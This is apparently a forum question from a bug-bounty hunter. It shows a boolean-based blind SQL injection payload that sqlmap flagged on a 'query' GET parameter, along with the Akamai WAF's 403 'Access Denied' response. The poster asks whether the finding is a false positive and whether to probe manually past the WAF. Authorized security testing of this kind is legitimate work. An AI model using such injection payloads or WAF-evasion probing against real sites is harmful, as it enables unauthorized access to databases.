I have been trying to find SQL injection against a site in bug bounty. I tried a few parameters via SQLmap. One such query was shown to be injectible.
Parameter: query (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: query=-8014' OR 6594=6594-- iygp&locale=en-US
The WAF used by the website is KONA (akamai). Sqlmap could not retrieve any data.
NOTE: whenever I inject it, it gives back a 403 error generated by the WAF.
HTTP/1.1 403 Forbidden
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 294
Expires: Thu, 17 Jan 2019 12:04:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 17 Jan 2019 12:04:34 GMT
Connection: close
Cipher: ECDHE-RSA-AES256-GCM-SHA384
Source-Country: IN
Strict-Transport-Security: max-age=157680000; preload
<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD><BODY>
<H1>Access Denied</H1>
You don't have permission to access "http:...;;" on this server.<P>
Reference #18.e0a21ab8.1547726674.14c0c2e8
</BODY>
</HTML>
So my questions are:
Is it a false positive?
If it isn't, should I not automate it and try and probe manually?